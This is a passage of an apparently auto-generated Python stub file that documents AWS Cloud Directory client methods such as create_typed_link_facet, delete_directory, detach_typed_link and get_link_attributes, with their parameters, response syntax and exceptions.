Name='string' ) :type Name: string :param Name: [REQUIRED]\nThe name that is associated with the schema. This is unique to each account and in each region.\n :rtype: dict ReturnsResponse Syntax{ 'SchemaArn': 'string' } Response Structure (dict) -- SchemaArn (string) --The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns . Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.SchemaAlreadyExistsException CloudDirectory.Client.exceptions.AccessDeniedException :return: { 'SchemaArn': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.SchemaAlreadyExistsException CloudDirectory.Client.exceptions.AccessDeniedException """ pass def create_typed_link_facet(SchemaArn=None, Facet=None): """ Creates a TypedLinkFacet . For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.create_typed_link_facet( SchemaArn='string', Facet={ 'Name': 'string', 'Attributes': [ { 'Name': 'string', 'Type': 'STRING'|'BINARY'|'BOOLEAN'|'NUMBER'|'DATETIME'|'VARIANT', 'DefaultValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'IsImmutable': True|False, 'Rules': { 'string': { 'Type': 'BINARY_LENGTH'|'NUMBER_COMPARISON'|'STRING_FROM_SET'|'STRING_LENGTH', 'Parameters': { 'string': 'string' } } }, 'RequiredBehavior': 'REQUIRED_ALWAYS'|'NOT_REQUIRED' }, ], 'IdentityAttributeOrder': [ 'string', ] } ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n :type Facet: dict :param Facet: [REQUIRED]\n\nFacet structure that is associated with the typed link facet.\n\nName (string) -- [REQUIRED]The unique name of the typed link facet.\n\nAttributes (list) -- [REQUIRED]A set of key-value pairs associated with the typed link. Typed link attributes are used when you have data values that are related to the link itself, and not to one of the two objects being linked. Identity attributes also serve to distinguish the link from others of the same type between the same objects.\n\n(dict) --A typed link attribute definition.\n\nName (string) -- [REQUIRED]The unique name of the typed link attribute.\n\nType (string) -- [REQUIRED]The type of the attribute.\n\nDefaultValue (dict) --The default value of the attribute (if configured).\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nIsImmutable (boolean) --Whether the attribute is mutable or not.\n\nRules (dict) --Validation rules that are attached to the attribute definition.\n\n(string) --\n(dict) --Contains an Amazon Resource Name (ARN) and parameters that are associated with the rule.\n\nType (string) --The type of attribute validation rule.\n\nParameters (dict) --The minimum and maximum parameters that are associated with the rule.\n\n(string) --\n(string) --\n\n\n\n\n\n\n\n\n\n\nRequiredBehavior (string) -- [REQUIRED]The required behavior of the TypedLinkAttributeDefinition .\n\n\n\n\n\nIdentityAttributeOrder (list) -- [REQUIRED]The set of attributes that distinguish links made from this facet from each other, in the order of significance. Listing typed links can filter on the values of these attributes. See ListOutgoingTypedLinks and ListIncomingTypedLinks for details.\n\n(string) --\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetAlreadyExistsException CloudDirectory.Client.exceptions.InvalidRuleException CloudDirectory.Client.exceptions.FacetValidationException :return: {} :returns: (dict) -- """ pass def delete_directory(DirectoryArn=None): """ Deletes a directory. Only disabled directories can be deleted. A deleted directory cannot be undone. Exercise extreme caution when deleting directories. See also: AWS API Documentation Exceptions :example: response = client.delete_directory( DirectoryArn='string' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory to delete.\n :rtype: dict ReturnsResponse Syntax{ 'DirectoryArn': 'string' } Response Structure (dict) -- DirectoryArn (string) --The ARN of the deleted directory. Exceptions CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.DirectoryNotDisabledException CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryDeletedException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.InvalidArnException :return: { 'DirectoryArn': 'string' } """ pass def delete_facet(SchemaArn=None, Name=None): """ Deletes a given Facet . All attributes and Rule s that are associated with the facet will be deleted. Only development schema facets are allowed deletion. See also: AWS API Documentation Exceptions :example: response = client.delete_facet( SchemaArn='string', Name='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Facet . For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe name of the facet to delete.\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetNotFoundException CloudDirectory.Client.exceptions.FacetInUseException :return: {} :returns: (dict) -- """ pass def delete_object(DirectoryArn=None, ObjectReference=None): """ Deletes an object and its associated attributes. Only objects with no children and no parents can be deleted. The maximum number of attributes that can be deleted during an object deletion is 30. For more information, see Amazon Cloud Directory Limits . See also: AWS API Documentation Exceptions :example: response = client.delete_object( DirectoryArn='string', ObjectReference={ 'Selector': 'string' } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the object resides. For more information, see arns .\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nA reference that identifies the object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.ObjectNotDetachedException :return: {} :returns: (dict) -- """ pass def delete_schema(SchemaArn=None): """ Deletes a given schema. Schemas in a development and published state can only be deleted. See also: AWS API Documentation Exceptions :example: response = client.delete_schema( SchemaArn='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the development schema. For more information, see arns .\n :rtype: dict ReturnsResponse Syntax{ 'SchemaArn': 'string' } Response Structure (dict) -- SchemaArn (string) --The input ARN that is returned as part of the response. For more information, see arns . Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.StillContainsLinksException :return: { 'SchemaArn': 'string' } """ pass def delete_typed_link_facet(SchemaArn=None, Name=None): """ Deletes a TypedLinkFacet . For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.delete_typed_link_facet( SchemaArn='string', Name='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe unique name of the typed link facet.\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetNotFoundException :return: {} :returns: (dict) -- """ pass def detach_from_index(DirectoryArn=None, IndexReference=None, TargetReference=None): """ Detaches the specified object from the specified index. See also: AWS API Documentation Exceptions :example: response = client.detach_from_index( DirectoryArn='string', IndexReference={ 'Selector': 'string' }, TargetReference={ 'Selector': 'string' } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the directory the index and object exist in.\n :type IndexReference: dict :param IndexReference: [REQUIRED]\nA reference to the index object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type TargetReference: dict :param TargetReference: [REQUIRED]\nA reference to the object being detached from the index.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'DetachedObjectIdentifier': 'string' } Response Structure (dict) -- DetachedObjectIdentifier (string) -- The ObjectIdentifier of the object that was detached from the index. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.ObjectAlreadyDetachedException CloudDirectory.Client.exceptions.NotIndexException :return: { 'DetachedObjectIdentifier': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.ObjectAlreadyDetachedException CloudDirectory.Client.exceptions.NotIndexException """ pass def detach_object(DirectoryArn=None, ParentReference=None, LinkName=None): """ Detaches a given object from the parent object. The object that is to be detached from the parent is specified by the link name. See also: AWS API Documentation Exceptions :example: response = client.detach_object( DirectoryArn='string', ParentReference={ 'Selector': 'string' }, LinkName='string' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where objects reside. For more information, see arns .\n :type ParentReference: dict :param ParentReference: [REQUIRED]\nThe parent reference from which the object with the specified link name is detached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type LinkName: string :param LinkName: [REQUIRED]\nThe link name associated with the object that needs to be detached.\n :rtype: dict ReturnsResponse Syntax { 'DetachedObjectIdentifier': 'string' } Response Structure (dict) -- DetachedObjectIdentifier (string) -- The ObjectIdentifier that was detached from the object. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.NotNodeException :return: { 'DetachedObjectIdentifier': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.NotNodeException """ pass def detach_policy(DirectoryArn=None, PolicyReference=None, ObjectReference=None): """ Detaches a policy from an object. See also: AWS API Documentation Exceptions :example: response = client.detach_policy( DirectoryArn='string', PolicyReference={ 'Selector': 'string' }, ObjectReference={ 'Selector': 'string' } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where both objects reside. For more information, see arns .\n :type PolicyReference: dict :param PolicyReference: [REQUIRED]\nReference that identifies the policy object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nReference that identifies the object whose policy object will be detached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.NotPolicyException :return: {} :returns: (dict) -- """ pass def detach_typed_link(DirectoryArn=None, TypedLinkSpecifier=None): """ Detaches a typed link from a specified source and target object. For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.detach_typed_link( DirectoryArn='string', TypedLinkSpecifier={ 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the directory where you want to detach the typed link.\n :type TypedLinkSpecifier: dict :param TypedLinkSpecifier: [REQUIRED]\nUsed to accept a typed link specifier as input.\n\nTypedLinkFacet (dict) -- [REQUIRED]Identifies the typed link facet that is associated with the typed link.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nSourceObjectReference (dict) -- [REQUIRED]Identifies the source object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetObjectReference (dict) -- [REQUIRED]Identifies the target object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nIdentityAttributeValues (list) -- [REQUIRED]Identifies the attribute value to update.\n\n(dict) --Identifies the attribute name and value for a typed link.\n\nAttributeName (string) -- [REQUIRED]The attribute name of the typed link.\n\nValue (dict) -- [REQUIRED]The value for the typed link.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException """ pass def disable_directory(DirectoryArn=None): """ Disables the specified directory. Disabled directories cannot be read or written to. Only enabled directories can be disabled. Disabled directories may be reenabled. See also: AWS API Documentation Exceptions :example: response = client.disable_directory( DirectoryArn='string' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory to disable.\n :rtype: dict ReturnsResponse Syntax{ 'DirectoryArn': 'string' } Response Structure (dict) -- DirectoryArn (string) --The ARN of the directory that has been disabled. Exceptions CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.DirectoryDeletedException CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.InvalidArnException :return: { 'DirectoryArn': 'string' } """ pass def enable_directory(DirectoryArn=None): """ Enables the specified directory. Only disabled directories can be enabled. Once enabled, the directory can then be read and written to. See also: AWS API Documentation Exceptions :example: response = client.enable_directory( DirectoryArn='string' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory to enable.\n :rtype: dict ReturnsResponse Syntax{ 'DirectoryArn': 'string' } Response Structure (dict) -- DirectoryArn (string) --The ARN of the enabled directory. Exceptions CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.DirectoryDeletedException CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.InvalidArnException :return: { 'DirectoryArn': 'string' } """ pass def generate_presigned_url(ClientMethod=None, Params=None, ExpiresIn=None, HttpMethod=None): """ Generate a presigned url given a client, its method, and arguments :type ClientMethod: string :param ClientMethod: The client method to presign for :type Params: dict :param Params: The parameters normally passed to\nClientMethod. :type ExpiresIn: int :param ExpiresIn: The number of seconds the presigned url is valid\nfor. By default it expires in an hour (3600 seconds) :type HttpMethod: string :param HttpMethod: The http method to use on the generated url. By\ndefault, the http method is whatever is used in the method\'s model. """ pass def get_applied_schema_version(SchemaArn=None): """ Returns current applied schema version ARN, including the minor version in use. See also: AWS API Documentation Exceptions :example: response = client.get_applied_schema_version( SchemaArn='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe ARN of the applied schema.\n :rtype: dict ReturnsResponse Syntax{ 'AppliedSchemaArn': 'string' } Response Structure (dict) -- AppliedSchemaArn (string) --Current applied schema ARN, including the minor version in use if one was provided. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException :return: { 'AppliedSchemaArn': 'string' } """ pass def get_directory(DirectoryArn=None): """ Retrieves metadata about a directory. See also: AWS API Documentation Exceptions :example: response = client.get_directory( DirectoryArn='string' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory.\n :rtype: dict ReturnsResponse Syntax{ 'Directory': { 'Name': 'string', 'DirectoryArn': 'string', 'State': 'ENABLED'|'DISABLED'|'DELETED', 'CreationDateTime': datetime(2015, 1, 1) } } Response Structure (dict) -- Directory (dict) --Metadata about the directory. Name (string) --The name of the directory. DirectoryArn (string) --The Amazon Resource Name (ARN) that is associated with the directory. For more information, see arns . State (string) --The state of the directory. Can be either Enabled , Disabled , or Deleted . CreationDateTime (datetime) --The date and time when the directory was created. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException :return: { 'Directory': { 'Name': 'string', 'DirectoryArn': 'string', 'State': 'ENABLED'|'DISABLED'|'DELETED', 'CreationDateTime': datetime(2015, 1, 1) } } """ pass def get_facet(SchemaArn=None, Name=None): """ Gets details of the Facet , such as facet name, attributes, Rule s, or ObjectType . You can call this on all kinds of schema facets -- published, development, or applied. See also: AWS API Documentation Exceptions :example: response = client.get_facet( SchemaArn='string', Name='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Facet . For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe name of the facet to retrieve.\n :rtype: dict ReturnsResponse Syntax { 'Facet': { 'Name': 'string', 'ObjectType': 'NODE'|'LEAF_NODE'|'POLICY'|'INDEX', 'FacetStyle': 'STATIC'|'DYNAMIC' } } Response Structure (dict) -- Facet (dict) -- The Facet structure that is associated with the facet. Name (string) -- The name of the Facet . ObjectType (string) -- The object type that is associated with the facet. See CreateFacetRequest$ObjectType for more details. FacetStyle (string) -- There are two different styles that you can define on any given facet, Static and Dynamic . For static facets, all attributes must be defined in the schema. For dynamic facets, attributes can be defined during data plane operations. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetNotFoundException :return: { 'Facet': { 'Name': 'string', 'ObjectType': 'NODE'|'LEAF_NODE'|'POLICY'|'INDEX', 'FacetStyle': 'STATIC'|'DYNAMIC' } } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetNotFoundException """ pass def get_link_attributes(DirectoryArn=None, TypedLinkSpecifier=None, AttributeNames=None, ConsistencyLevel=None): """ Retrieves attributes that are associated with a typed link. See also: AWS API Documentation Exceptions :example: response = client.get_link_attributes( DirectoryArn='string', TypedLinkSpecifier={ 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, AttributeNames=[ 'string', ], ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the typed link resides. For more information, see arns or Typed Links .\n :type TypedLinkSpecifier: dict :param TypedLinkSpecifier: [REQUIRED]\nAllows a typed link specifier to be accepted as input.\n\nTypedLinkFacet (dict) -- [REQUIRED]Identifies the typed link facet that is associated with the typed link.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nSourceObjectReference (dict) -- [REQUIRED]Identifies the source object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetObjectReference (dict) -- [REQUIRED]Identifies the target object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nIdentityAttributeValues (list) -- [REQUIRED]Identifies the attribute value to update.\n\n(dict) --Identifies the attribute name and value for a typed link.\n\nAttributeName (string) -- [REQUIRED]The attribute name of the typed link.\n\nValue (dict) -- [REQUIRED]The value for the typed link.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n :type AttributeNames: list :param AttributeNames: [REQUIRED]\nA list of attribute names whose values will be retrieved.\n\n(string) --\n\n :type ConsistencyLevel: string :param ConsistencyLevel: The consistency level at which to retrieve the attributes on a typed link. :rtype: dict ReturnsResponse Syntax { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } Response Structure (dict) -- Attributes (list) -- The attributes that are associated with the typed link. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- 